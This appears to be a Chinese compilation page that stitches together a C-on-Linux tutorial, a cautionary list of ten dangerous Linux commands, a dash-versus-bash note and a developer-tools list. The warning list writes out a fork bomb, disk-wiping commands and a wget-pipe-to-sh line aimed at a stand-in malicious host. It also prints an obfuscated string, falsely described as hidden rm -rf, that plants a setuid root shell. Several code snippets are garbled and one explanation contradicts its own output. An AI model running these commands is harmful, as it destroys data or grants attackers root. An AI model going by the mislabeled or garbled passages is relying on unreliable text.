㈠ 怎麼用linux寫c語言
Linux正在成為開發人員的編程天堂,成為開源和免費操作系統。 Turbo C編譯器已經是一種編譯程序的舊方法,所以讓程序員轉向Linux以獲得新的編程環境。 在本文中,我們將解釋如何編寫,編譯和運行一個簡單的C程序。 這將成為您遷移到可以在Linux上編寫和執行的更復雜和有用的C程序的基礎。
我們在Ubuntu 18.04 LTS系統上運行了本文中提到的步驟和命令。
我們將使用Linux命令行工具Terminal,以編譯一個簡單的C程序。 要打開終端,您可以使用Ubuntu Dash或Ctrl + Alt + T快捷方式。
第1步:安裝build-essential軟體包
為了編譯和執行C程序,您需要在系統上安裝必要的軟體包。 在Linux終端中以root用戶身份輸入以下命令:
sudo apt-get install build-essential
系統會要求您輸入root用戶密碼; 安裝過程將在此之後開始。 請確保您已連接到互聯網。
第2步:編寫一個簡單的C程序
安裝必要的軟體包之後,讓我們編寫一個簡單的C程序。
打開Ubuntu的圖形文本編輯器,將以下示常式序寫入或復制到其中:
#include<stdio.h>
int main()
{
printf("nA sample C program www.linuxidc.comnn");
return 0;
}
然後使用.c擴展名保存文件。 在這個例子中,我將我的C程序命名為linuxidc.c
或者,您可以通過gedit中的終端編寫C程序,如下所示:
gedit linuxidc.c
這將創建一個.c文件,您可以在其中編寫和保存程序。
第3步:使用gcc編譯C程序
在終端中,輸入以下命令以生成您編寫的程序的可執行版本:
句法:
$ gcc [programName].c -o programName
示例:
$ gcc linuxidc.c -o linuxidc
㈡ Linux中最危險的10個命令
Linux中最危險的10個命令
對於編程人員或或者Linux系統管理員來說,操作Linux系統最常見的方法就是使用命令行。當然,Linux命令行佷有用、很高效,但有時候也很危險,尤其是在你誤操作或者不確定你自己在正在做什麼的時候。下面我就為大家盤點最危險是10個命令,一起來看看吧!
當然,以下命令通常都是在root許可權下才能將愚蠢發揮到無可救葯;在普 通用戶身份下,破壞的只是自己的一畝三分地。
1. rm -rf 命令
rm -rf命令是刪除文件夾及其內容最快的方式之一。僅僅一丁點的敲錯或無知都可能導致不可恢復的系統崩壞。下列是一些rm 命令的選項。
rm命令在Linux下通常用來刪除文件。
rm -r 命令遞歸的刪除文件夾,甚至是空的文件夾。(譯註:個人認為此處應該是說錯了,從常識看,應該是“甚至是非空的文件夾”)
rm -f 命令能不經過詢問直接刪除‘只讀文件’。(譯註:Linux下刪除文件並不在乎該文件是否是只讀的,而只是在意其父目錄是否有寫許可權。所以,-f這個參數 只是表示不必一個個刪除確認,而是一律悄悄刪除。另外,原始的rm命令其實也是沒有刪除提示的,只是一般的發行版都會將rm通過別名的方式增加-i參數來 要求刪除確認,而-f則抑制了這個提示。)
rm -rf / : 強制刪除根目錄下所有東東。(就是說刪除完畢後,什麼也沒有了。。。)
rm -rf *:強制刪除當前目錄的所有文件。
rm -rf . : 強制刪除當前文件夾及其子文件夾。
從 現在起,當你要執行rm -rf命令時請留心一點。我們可以在“.bashrc”文件對‘rm‘命令創建rm -i的別名,來預防用 ‘rm‘命令刪除文件時的事故,它會要求你確認每一個刪除請求。(譯註:大多數發行版已經這樣做了,如果還沒有,請這樣做,並在使用-f參數前一定考慮好 你在做什麼!譯者本人有著血淚的教訓啊。)
2. :(){:|:&};: 命令
這就是個fork 炸彈的實例。具體操作是通過定義一個名為 ‘:‘的函數,它會調用自己兩次,一次在前台另一次運行在後台。它會反復的執行下去直到系統崩潰。
:(){:|:&};:
哦?你確認你要試試么?千萬別在公司正式的伺服器上實驗啊~~
3. 命令> /dev/sda
上列命令會將某個‘命令‘的輸出寫到塊設備/dev/sda中。該操作會將在塊設備中的所有數據塊替換為命令寫入的原始數據,從而導致整個塊設備的數據丟失。
4. mv 文件夾 /dev/null
這 個命令會移動某個‘文件夾‘到/dev/null。在Linux中 /dev/null 或 null 設備是一個特殊的文件,所有寫入它的數據都會被清除,然後返回寫操作成功。(譯註:這就是黑洞啊。當然,要說明的是,通過將文件夾移動到黑洞,並不能阻止 數據恢復軟體的救贖,所以,真正的`徹底毀滅,需要採用專用的軟體或者手法來完成——我知道你肯定有些東西想刪除得乾乾凈凈的。)
# mv /home/user/* /dev/null
上列命令會將User目錄所有內容移動到/dev/null,這意味著所有東西都被‘捲入’黑洞(null)之中。
5. wget http://malicious_source -O- | sh
上列命令會從一個(也許是)惡意源下載一個腳本並執行。Wget命令會下載這個腳本,而sh會(無條件的)執行下載下來的腳本。
注意: 你應該時刻注意你下載包或腳本的源。只能使用那些從可信任的源中下載腳本/程序。(譯註:所以,你真的知道你在做什麼嗎?當遇到這種需要是,我的做法是,先wget下來,然後我去讀一讀其中到底寫了些什麼,然後考慮是否執行。)
6. mkfs.ext3 /dev/sda
上列命令會格式化塊設備‘sda’,你無疑知道在執行上列命令後你的塊設備(硬碟驅 動器)會被格式化,嶄新的!沒有任何數據,直接讓你的系統達到不可恢復的階段。(譯註:通常不會直接使用/dev/sda這樣的設備,除非是作為raw設 備使用,一般都需要將sda分成類似sda1、sda2這樣的分區後才使用。當然,無論你使用sda還是sda1,這樣對塊設備或分區進行mkfs都是毀 滅性的,上面的數據都會被蒸發了。)
7. > file
上列命令常用來清空文件內容(譯註:通常也用於記錄命令輸出。 不過請在執行前,確認輸出的文件是空的或者還不存在,否則原來的文件可真是恢復不了了——連數據恢復軟體都未必能幫助你了。另外,我想你可能真正想用的是 “>>”,即累加新的輸出到文件,而不是刷新那個文件。)。如果用上列執行時輸入錯誤或無知的輸入類似 “>xt.conf”的命令會覆蓋配置文件或其他任何的系統配置文件。
8. ^foo^bar
這個命令在“鮮為人知而又實用的 Linux 命令大全:http://blog.csdn.net/zhu_xun/article/details/17018799”中描述過,用來編輯先前運行的命令而無需重打整個命令。但當用foobar命令時如果你沒有徹底檢查改變原始命令的風險,這可能導致真正的麻煩。(譯註:事實上,這種小技巧是譯者認為的,少數史前時代遺留下來的無用而有害的“黑客”技巧。)
9. dd if=/dev/random of=/dev/sda
上列命令會向塊設備sda寫入隨機的垃圾文件從而擦出數據。當然!你的系統可能陷入混亂和不可恢復的狀態。(譯註:記得上面說過mv到黑洞並不能徹底刪除數據么?那麼這個命令就是給了你一個徹底刪除的方法!當然為了保險起見,你可以覆寫多次。)
10. 隱藏命令
下面的命令其實就是上面第一個命令 (rm -rf)。這里的代碼是隱藏在十六進制里的,一個無知的用戶可能就會被愚弄。在終端里運行下面命令可能會擦除你的根分區。
這個命令表明通常真正的危險是隱藏的,不會被輕易的檢測到。你必須時刻留心你在做什麼結果會怎樣。不要編譯/運行從未知來源的代碼。
char esp[] __attribute__ ((section(“.text”))) /* e.s.prelease */= “″“″“″“″“″“″“x6ex2fx73x68x00x2dx63x00″“cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;”;
注意: 不要在你的或你的同學或學校的電腦里的Linux終端或Shell執行以上的任何一個命令,因為這將導致數據丟失或者系統崩潰。如果你想測試它們,請在虛擬機上運行。
;㈢ Linux shell語言——dash和bash
自己寫的一個while循環結構總是報錯,糾結了一下午,各種查資料、改命令行,最後發現是ubuntu系統解釋器的原因,腳本沒有問題,換一下解釋器就OK了。鬱卒的要死……
什麼是bash ?
Bash(GNU Bourne-Again Shell)是許多Linux平台的內定Shell,事實上,還有許多傳統UNIX上用的Shell,像tcsh、csh、ash、bsh、ksh等等。
GNU/Linux 操作系統中的 /bin/sh 本是 bash (Bourne-Again Shell) 的符號鏈接,但鑒於 bash 過於復雜,有人把 bash 從 NetBSD 移植到 Linux 並更名為 dash (Debian Almquist Shell),並建議將 /bin/sh 指向它,以獲得更快的腳本執行速度。Dash Shell 比 Bash Shell 小的多,符合POSIX標准。
Debian和Ubuntu中,/bin/sh默認已經指向dash,這是一個不同於bash的shell,它主要是為了執行腳本而出現,而不是交互,它速度更快,但功能相比bash要少很多,語法嚴格遵守POSIX標准。
就是這個倒霉的dash解釋器使得我按照bash語法寫的shell 腳本不能運行。
要知道自己的/bin/sh指向何種解釋器,可以用 ls /bin/sh -al 命令查看:
$ ls /bin/sh -al
lrwxrwxrwx 1 root root 4 11月 16 15:33 /bin/sh -> bash
以上結果就表示當前系統用的是dash解釋器。
切換到bash的方式其實挺簡單的,關鍵是一直沒找出這個原因……
修改默認的sh,可以採用命令 sudo dpkg-reconfigure dash
會出現一個圖片狀的配置菜單,選no就可以了
再次檢查一下, ls /bin/sh -al 發現軟鏈接指向/bin/bash
lrwxrwxrwx 1 root root 4 11月 16 15:33 /bin/sh -> bash
參考資料: Ubuntu 的 bash和dash的區別_Linux教程_Linux公社-Linux系統門戶網站
感謝度娘!!
註:dash 和 bash 語法上的主要的區別有:
㈣ 有哪些it程序員的必備神器
URL Decoder/Encoder:https://meyerweb.com/eric/tools/dencoder/ 特別實用的一個用來處理URL編碼和解碼的小工具,你甚至可以直接將這個頁面的源代碼保存下來,這樣不需要連接上網也可以離線使用。附送的一個隱藏功能就是當你從任何地方拷貝信息過來的時候,它會自動去除拷貝過來的格式化信息,小編自己基本上每天都會使用這個小工具復制粘貼各種信息。
iTerm2是一款完全免費的開源軟體,可以完全替代MacOS的終端。iTerms功能強大,使用方便,可以讓你輕松且高效地管理和定製化你的工作流程。iTerm2的一些特色功能包括:標簽變色,智能選中,自動補齊,全屏展示所有的 tab並支持搜索(Exposé Tabs),豐富的快捷操作等。
Textpad這款工具具有無限制的撤銷/重做功能,並且能夠編輯超大文件,文件上限是系統虛擬內存大小。
Octotree:https://www.octotree.io/Github是目前使用最廣泛的版本控制工具,然而通過瀏覽器訪問Github的體驗並不是那麼友好,特別是當我們需要不斷地訪問不同文件夾裡面的文件的時候。Octotree正是這樣一款瀏覽器插件,它提供了類似IDE的便於訪問的代碼目錄樹,能夠提高我們在Github上工作效率。
Wireshark:這個工具可以用來監控機器上的TCP、HTTP等各層級的網路通信。作為後端開發,如果想看前端發來的請求到底都包含了哪些信息,又沒有前端的調試環境的話,使用Wireshark監控HTTP請求是很好的解決方案。自己在程序中發HTTP請求時,也可以使用它來檢查發出的HTTP請求是否符合自己的預期。
Mermaid:這個工具可以使用腳本語言直接渲染出流程圖、時序圖、甘特圖,寫文檔簡單快捷。免拖拽,免排版,格式控制統一。腳本也便於存放修改,樣式可以復用。還可以使用插件集成如Markdown編輯器,進行實時預覽。
spectacle:Mac free source 窗口控制工具,拖拽窗口到屏幕邊緣resize,也可以自定義快捷鍵。用起來跟Windows上面一樣。相比較於Moom,SizeUp,Divvy,spectacle支持滑鼠拖拽到邊緣resize,非常便利。
Tmux:一個虛擬終端可以管理多個會話,窗口和面板。執行 tmux 命令時就開啟了一個服務並創建了一個會話,窗口和面板。支持分屏,同時處理多個操作。不受斷網影響,避免丟失重要工作進度。方便演示與協作,支持結對編程。
Caniuse:https://caniuse.com/#home 通過這個網站,用戶能夠查詢主流瀏覽器特定版本對HTML,CSS和JS的支持情況。並且最重要的是它「免費」!
Visual Studio Code:這是微軟出品的IDE工具,跨平台(Linux,Mac,Windows)。輕量級內存佔用,品質穩定且免費。同時內置Git版本控制功能。值得一提的是插件生態豐富,安裝插件簡單,通過插件可以增加更豐富的語言支持、主題定製、文本自動格式化等能力。